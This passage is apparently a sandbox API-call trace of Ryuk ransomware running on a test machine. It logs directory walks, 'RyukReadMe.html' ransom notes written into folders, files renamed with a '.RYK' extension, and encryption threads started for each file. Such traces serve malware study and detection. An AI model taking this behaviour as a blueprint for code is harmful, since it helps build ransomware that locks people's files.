	[0260.412] GetLastError () returned 0x3
	[0260.412] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0260.412] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.412] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d69eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d69eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c8, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 0
	[0260.413] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0260.413] SetLastError (dwErrCode=0x0) 
	[0260.413] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.413] GetLastError () returned 0x3
	[0260.413] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0) returned 0
	[0260.413] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.413] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 0
	[0260.413] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0260.413] SetLastError (dwErrCode=0x0) 
	[0260.413] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0260.414] GetLastError () returned 0xb7
	[0260.414] CloseHandle (hObject=0x858) returned 1
	[0260.414] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x56657850, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x56657850, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1
	[0260.414] SetLastError (dwErrCode=0x0) 
	[0260.414] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0260.414] GetLastError () returned 0xb7
	[0260.414] CloseHandle (hObject=0x858) returned 1
	[0260.415] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x56657850, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x56657850, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0260.415] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x56657850, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x56657850, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.415] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x554c9610, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x554c9610, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="1NBUR4HR", cAlternateFileName="")) returned 1
	[0260.415] SetLastError (dwErrCode=0x0) 
	[0260.415] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac
	[0260.416] GetLastError () returned 0xb7
	[0260.416] CloseHandle (hObject=0x8ac) returned 1
	[0260.416] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x554c9610, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x554c9610, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0260.416] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x554c9610, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x554c9610, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.417] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0260.417] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="fwlink[1].RYK", cAlternateFileName="FWLINK~1.RYK")) returned 1
	[0260.417] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0260.418] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b8
	[0260.423] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.424] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="fwlink[1].RYK", cAlternateFileName="FWLINK~1.RYK")) returned 0
	[0260.425] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0260.425] SetLastError (dwErrCode=0x0) 
	[0260.425] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\1nbur4hr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac
	[0260.425] GetLastError () returned 0x0
	[0260.425] WriteFile (in: hFile=0x8ac, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0260.559] CloseHandle (hObject=0x8ac) returned 1
	[0260.560] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x55750d70, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x55750d70, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="6ASVN7J7", cAlternateFileName="")) returned 1
	[0260.560] SetLastError (dwErrCode=0x0) 
	[0260.560] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac
	[0260.560] GetLastError () returned 0xb7
	[0260.560] CloseHandle (hObject=0x8ac) returned 1
	[0260.560] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x55750d70, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x55750d70, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0260.561] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x55750d70, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x55750d70, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.561] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0260.561] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="fwlink[1].RYK", cAlternateFileName="FWLINK~1.RYK")) returned 1
	[0260.561] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2810000
	[0260.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8bc
	[0260.570] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.570] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="fwlink[1].RYK", cAlternateFileName="FWLINK~1.RYK")) returned 0
	[0260.570] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0260.572] SetLastError (dwErrCode=0x0) 
	[0260.572] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\6asvn7j7\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac
	[0260.573] GetLastError () returned 0x0
	[0260.573] WriteFile (in: hFile=0x8ac, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0260.575] CloseHandle (hObject=0x8ac) returned 1
	[0260.575] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x557c3190, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x557c3190, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="D68G7BIJ", cAlternateFileName="")) returned 1
	[0260.575] SetLastError (dwErrCode=0x0) 
	[0260.575] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac
	[0260.576] GetLastError () returned 0xb7
	[0260.576] CloseHandle (hObject=0x8ac) returned 1
	[0260.576] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x557c3190, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x557c3190, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0260.577] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x557c3190, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x557c3190, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.577] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0260.577] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="fwlink[1].RYK", cAlternateFileName="FWLINK~1.RYK")) returned 1
	[0260.577] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2810000
	[0260.578] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c0
	[0260.583] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.584] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="fwlink[1].RYK", cAlternateFileName="FWLINK~1.RYK")) returned 0
	[0260.584] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0260.584] SetLastError (dwErrCode=0x0) 
	[0260.584] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\d68g7bij\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac
	[0260.601] GetLastError () returned 0x0
	[0260.601] WriteFile (in: hFile=0x8ac, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0260.603] CloseHandle (hObject=0x8ac) returned 1
	[0260.604] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0260.604] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x566316f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8122, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="index.dat.RYK", cAlternateFileName="INDEXD~1.RYK")) returned 1
	[0260.604] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2810000
	[0260.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ac
	[0260.810] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.814] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5667d9b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5667d9b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 1
	[0260.814] SetLastError (dwErrCode=0x0) 
	[0260.814] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c4
	[0260.815] GetLastError () returned 0xb7
	[0260.815] CloseHandle (hObject=0x8c4) returned 1
